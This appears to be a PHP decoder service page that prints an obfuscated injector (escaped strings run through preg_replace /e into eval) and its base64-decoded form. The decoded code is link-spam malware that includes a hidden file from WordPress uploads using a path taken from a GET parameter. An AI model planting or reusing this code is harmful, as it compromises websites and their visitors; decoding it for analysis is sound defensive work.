Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ImgQ="e\x76al(b\x61\x73e64_\x64ec\x6fd\x65\x28\x27"; $dDRg="JGRlYn\126n\13021vZ\107..

Decoded Output download

eval(base64_decode('JGRlYnVnX21vZGUgPSBpc3NldCgkX1JFUVVFU1RbJ0RFQlVHJ10pOw0KDQppZiggJGRlYnVnX21vZGUgKQ0KCWVjaG8gIjwhLS0gU1RBUlQgQkxPQ0sgLS0+XG4iOw0KDQp0cnkNCnsNCglpZiggZGVmaW5lZCgnX1NBUEVfVVNFUicpICkNCgl7DQoJCWlmKCAkZGVidWdfbW9kZSApDQoJCQllY2hvICI8IS0tIEVSUk9SOiBVIGFscmVhZHkgZGVmaW5lZDogIi5fU0FQRV9VU0VSLiIgLS0+XG4iOw0KCQlyZXR1cm47DQoJfQ0KCWVsc2UNCgl7DQoJCWRlZmluZSgnX1NBUEVfVVNFUicsICcxYzVlOWU2YTlkYWUyZDlkODQ4NjdkNDY0ZjgzNGUzYScpOw0KCQlpZiggJGRlYnVnX21vZGUgKQ0KCQkJZWNobyAiPCEtLSBVOiAiLl9TQVBFX1VTRVIuIiAtLT5cbiI7DQoJfQ0KDQoNCglpZiggIWlzc2V0KCRfcCkgKQ0KCQkkX3AgPSAnJzsNCglpZiggaXNzZXQoJF9HRVRbJ19wcHBwcCddKSApDQoJCSRfcCA9ICRfR0VUWydfcHBwcHAnXTsNCg0KCSRmbiA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAkX3AgLiAiL3dwLWNvbnRlbnQvdXBsb2Fkcy93cF9zeXN0ZW0vd3Bfc3lzdGVtLnBocCI7DQovLyAgICAgICRmbiA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAkX3AgLiAiL2ltYWdlcy9zdG9yaWVzL3dwX3N5c3RlbS93cF9zeXN0ZW0ucGhwIjsNCi8vCSRmbiA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAkX3AgLiAiL3Byb2ZpbGVzL2RlZmF1bHQvd3Bfc3lzdGVtL3dwX3N5c3RlbS5waHAiOw0KLy8JJGZuID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICRfcCAuICIvY2hhbmdlcy9nb29nbGUtYWRzZW5zZS1zd2l0Y2gvb3JpZ2luYWwvd3Bfc3lzdGVtL3dwX3N5c3RlbS5waHAiOw0KDQoNCglpZihmaWxlX2V4aXN0cygkZm4pKQ0KCXsNCgkJaWYoICRkZWJ1Z19tb2RlICkNCgkJCWVjaG8gIjwhLS0gZm91bmQgd3Bfc3lzdGVtLnBocCAtLT5cbiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCAkZGVidWdfbW9kZSApDQoJCQllY2hvICI8IS0tIEVSUk9SOiB3cF9zeXN0ZW0ucGhwIG5vdCBmb3VuZCEgX3A6ICRfcCwgZm46ICRmbiAtLT5cbiI7DQoJCWV4aXQ7DQoNCgl9DQoNCglyZXF1aXJlX29uY2UoJGZuKTsNCg0KCSRvPSBhcnJheSgpOw0KCSRvWydmZXRjaF9yZW1vdGVfdHlwZSddID0gJ2N1cmwnOyAvL1tmaWxlX2dldF9jb250ZW50c3xjdXJsfHNvY2tldF0NCi8vCSRvWydmZXRjaF9yZW1vdGVfdHlwZSddID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsgLy9bZmlsZV9nZXRfY29udGVudHN8Y3VybHxzb2NrZXRdDQoJDQoJaWYoICRkZWJ1Z19tb2RlICkNCgkJJG9bJ2ZvcmNlX3Nob3dfY29kZSddID0gdHJ1ZTsNCg0KCSRvYmogPSBuZXcgR0pmZWdoanNkamZGSEQoJG8pOw0KDQoJJGlkID0gbWQ1KG1pY3JvdGltZSgpKTsNCgkkaWQgPSAnYScgLiBzdWJzdHIoJGlkLCAwLCByYW5kKDUsIDExKSk7DQoNCglpZiggIWlzc2V0KCRfYykgKQ0KCQkkX2MgPSAnI2VlZSc7DQoNCglpZiggJGRlYnVnX21vZGUgKQ0KCQllY2hvICI8IS0tIGNvbG9yOiB7JF9jfSAtLT5cbiI7DQoJDQoJZWNobyAiPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4jeyRpZH0sICN7JGlkfSAqLCN7JGlkfSBBIHt0ZXh0LWRlY29yYXRpb246bm9uZTsgZm9udC1zaXplOjAuOWVtOyBjb2xvcjogeyRfY307fTwvc3R5bGU+IjsNCgllY2hvICI8c3BhbiBpZD0neyRpZH0nPiI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgllY2hvIHRyaW0oJG9iai0+cmV0dXJuX2xpbmtzKCkpOw0KDQogICAgICAgIGlmKCRkZWJ1Z19tb2RlKQ0KCQllY2hvICI8YSBocmVmPSd0ZXN0Jz50ZXN0IGxpbmsgbG9uZyBkZXNjcmlwdGlvbjwvYT4iOw0KDQoJZWNobyAiPC9zcGFuPiI7DQoNCn0NCmNhdGNoKCBFeGNlcHRpb24gJGV4ICkNCnsNCglpZiggJGRlYnVnX21vZGUgKQ0KCQllY2hvICI8IS0tIEVYQ0VQVElPTjogIi4kZXgtPmdldE1lc3NhZ2UoKS4iIC0tPlxuIjsNCn0NCg0KaWYoICRkZWJ1Z19tb2RlICkNCgllY2hvICI8IS0tIEVORCBCTE9DSyAtLT5cbiI7DQo='));

Did this file decode correctly?

Original Code

<?php $ImgQ="e\x76al(b\x61\x73e64_\x64ec\x6fd\x65\x28\x27"; $dDRg="JGRlYn\126n\13021vZ\107\x55gPSBpc3Nld\x43gk\130\x31JF\125\126VFU1R\142\1120\122FQlVH\x4a1\060pO\167\x30K\104QppZi\x67gJG\122lYnV\x6eX2\x31vZG\125gK\x510KCWVja\1078g\111j\167\150LS\x30g\x551R\102\125\154QgQkxPQ0\x73gLS\060+XG\064iOw0\113DQp0cn\x6b\116CnsNCglpZ\x69ggZGVmaW5l\132CgnX1NB\125EVfVV\x4eFU\x69cp\x49CkNCgl7DQ\x6fJ\x43Wl\x6dKC\x41k\x5aG\x56\x69dWd\x66\x62W9kZSAp\104Qo\112CQl\x6cY2\x68vI\x43I8IS0\164IEVSUk9SOiBVIGFscmVhZH\x6bgZGVm\141W5lZDog\x49i5fU0FQ\122V9VU0V\123LiIg\114S0\053XG4i\117w0KCQlyZX\x521\x63m47DQoJ\x66\1210K\103WVsc2UN\103\147l7DQoJCW\x52lZ\x6dluZSgnX1NBUEVfV\126NFUi\x63sICcxYzVlOWU\x32Y\x54lkY\x57U\x79Z\104lkOD\1214\116jdkNDY0\132jgzNGUz\x59\x53cpOw0KC\121l\160ZiggJ\x47RlYnVnX2\x31vZGUg\x4bQ\060KCQkJZWNo\x62\171\x41iPCEtL\x53BVOiAiLl9\124QV\102\x46\x581VT\122VIuIiAtL\x545cbi\x497DQoJfQ\060KDQoNCglp\x5aiggIWl\x7ac\x32V0KCR\146cCkgKQ\060KCQk\x6bX3\101gPS\101n\112zsNCglpZiggaXNzZXQoJ\x469HRV\122\x62\x4a19wcHBwc\x43d\x64KS\x41pD\x51oJCSRfcCA9\111C\x52fR0VUWydf\x63HBwc\x48A\156XTsNC\x670KCSRmbiA9ICRfU0\x56\123VkV\x53Wyd\x45T\060NVT\x55VOVF9ST\x309UJ10gLiAkX3AgLiA\x69L3\144wLWN\166bnRlbnQvdXBsb2Fkc\171\0713\143\106\071z\145\x58N0ZW0v\x643Bfc3lzdGVtL\156Boc\x43I7\104Qo\x76Ly\x41gICAgICRmbiA9IC\x52fU0V\123\126kVSWydET\060\116\126TUVOVF\x39S\12409U\x4a10gL\151AkX3AgL\151\x41iL2ltY\127dlc\1719z\x64\1079yaW\x56zL\063dwX3N\065c3Rlb\x5393cF9zeX\x4e0\x5aW\x30uc\x47\x68wIjsNC\x698vC\123RmbiA9\x49CRfU0V\123\126\153V\123Wyd\x45T\x30\116VTUV\117V\x469ST09UJ10gLiAkX3AgLi\x41iL3B\x79b2ZpbGVz\1142\x52l\x5amF1bHQvd3Bfc3lzdGVtL3dw\1303N5c3RlbS5waHAiOw0KLy8JJGZuID0gJ\1069T\122VJ\x57RV\x4ab\x4a0\x52P\x511VNRU5\125X\x31JPT\061QnXSAuICR\x66cCA\x75I\103IvY2\150h\x62\155dlcy9nb29\x6e\x62GUtYWRz\x5aW5zZS1\172d2l0Y2g\x76\x62\063JpZ\x32luYWwvd3\102fc3lzdGV\164L3dwX\063N5c3RlbS5wa\110\101i\x4fw0KDQ\157N\x43glpZi\150m\141\x57\x78lX2V4aXN0cygkZm4pKQ\060K\x43XsNCgkJaWY\157ICRkZ\x57J1Z19\164\x622R\x6c\x49CkNCgkJ\x43\127Vj\141G\070\x67Ij\x77hLS\x30\x67Z\15591bmQgd3\102fc3l\172dGV\x74LnB\x6fc\x43AtLT\x35c\142iI\067DQoJ\x66Q0\x4bCWVs\x63\x32\x55\x4eCgl7\104QoJCWl\155KCA\x6bZGV\151dWd\146bW9\x6b\132SApDQoJCQl\x6cY2h\166\111CI8IS0tIEV\x53Uk\x39SOiB3cF9\x7a\x65X\x4e0ZW0ucGhwIG\x35vdCBmb3Vu\x5aCEgX\063\x41\066ICR\146cCwgZm46ICRmbiAtLT5cbi\1117DQoJCW\x564aXQ7\x44Qo\116Cgl9DQoNCglyZXF\x31a\x58\112lX\0629u\131\062UoJGZu\x4bTsN\103g0\113CSRv\x50SBhcn\112\x68eS\x67p\x4fw\060KC\x53\122\x76\127ydmZXR\152a\1069yZ\x571vd\x47\x56fdHlwZS\x64dID0gJ2N1cmwnO\x79A\166\1141tmaWxlX2dldF9jb\x3250ZW50\x633\x78jdXJs\x66\x48NvY\x32tldF0\116Ci8vCSRvWy\144\x6dZXRja\106\071\x79ZW1vdGVfdHlwZ\x53ddID0gJ2ZpbGVf\1322V0X2Nvb\x6eRlbnR\x7aJzsg\x4cy9bZmlsZV\x39nZXR\x66Y29udGVu\144HN8Y3VybH\x78zb\x32NrZXR\x64DQoJ\x44QoJaWYo\x49CRkZWJ1\13219tb\x32RlI\x43kNC\147k\112JG9bJ\062Z\166cmN\154X\063Nob3dfY2\071kZSddID0gdHJ1ZT\x73NCg0KCSRvYmogPSBuZXcgR0\160\x6dZWdoan\116\x6b\141m\132GSEQoJ\x478pOw0K\x44QoJ\112GlkID\x30\147bWQ\x31KG\061pY3JvdGltZSgpK\x54\163N\x43gkka\x57Qg\x50SA\x6eYScgLiB\172dW\112z\x64HIoJGl\x6bLCAw\114\x43\x42yYW5\153KD\x55sID\x45\170KSk\067\x44Q\x6fN\103\x67lpZig\x67IWlzc\062V0KCRfYyk\x67\113Q0KC\121kkX2Mg\x50\x53A\x6e\x492Vl\132\123c7\104\x51o\x4eCg\154pZiggJG\x52lYnVnX2\061vZ\x47U\x67KQ0KCQ\x6clY2\150\x76ICI\x38IS0tIGNvbG9y\117\x69\1027JF9jf\x53AtLT5cbiI7\x44Q\x6fJ\104QoJZWNobyAiPHN0\x65W\x78lIHR\x35cGU\071J3\122\x6ceHQvY3NzJz4je\171R\160Z\x480sICN\x37JG\154kfSAqLCN7JGl\x6bf\123BBIHt0ZXh0L\x57Rl\13129yYXRp\x62246b\1559u\x5aT\x73gZ\155\x39\165dC1zaXplO\152Au\x4fW\x56\x74OyBjb\062x\x76cjogey\122fY307fT\x77vc3R5b\x47U+I\x6asNCgl\154\x592h\x76ICI8c3Bhb\x69BpZD0neyRpZH0\x6e\120iI\067ICAgICAgICAgICAgIC\101g\111CAgICAgICA\x67ICAgICA\147IC\101\x67ICA\x67ICAgICAgICAgICAgIC\101gICA\x67IC\101\x67ICAgICAgICAgICANCgllY\062h\x76IHRy\x61W0oJG9iai0+\143\x6d\x560d\130Ju\x58\x32xp\142mtz\113CkpOw0KDQo\x67\x49CAgICAgI\x47l\x6dKCR\x6b\132\127J1Z1\071tb2R\154KQ\060\113CQ\154lY\x32hvICI8Y\123B\157cmVm\120S\x640Z\x58N0Jz5\060ZXN\060IGxpbmsg\142G9uZyBkZXNj\x63mlwdGl\x76b\152w\166YT4iOw0KDQoJ\132WN\x6fbyAiPC9zcGFuPiI7DQoNCn0NCmNhdGN\157KCBFeGNlcH\122pb2\064gJGV4ICkNCns\x4e\103g\x6cpZig\147J\x47\x52\154YnVnX21vZG\x55gKQ0KC\121llY2hvICI8IS0tIEVYQ\060VQVEl\x50Tjog\x49i4kZXgtPmdldE\061l\x633Nh\x5a\062U\x6f\113\x534iIC0tPl\170u\x49js\x4eCn\060NCg0KaWYoICRkZ\127J1Z19tb\x32Rl\111CkNCgllY2hvICI8IS\060tI\x45VORCBCTE9DSyAtLT5cbiI7DQo='))"; $cW="pre\x67\x5f\x72\x65\x70la\x63\x65"; $rkunBnU="\x2f\x2e*\x2f\x65"; $cW($rkunBnU, $ImgQ.$dDRg, "");

Function Calls

preg_replace 1

Variables

$cW preg_replace
$ImgQ eval(base64_decode('
$dDRg JGRlYnVnX21vZGUgPSBpc3NldCgkX1JFUVVFU1RbJ0RFQlVHJ10pOw0KDQpp..
$rkunBnU /.*/e

Stats

MD5 56f41ccc5f6cc1d4d315f0e87b2e9202
Eval Count 1
Decode Time 117 ms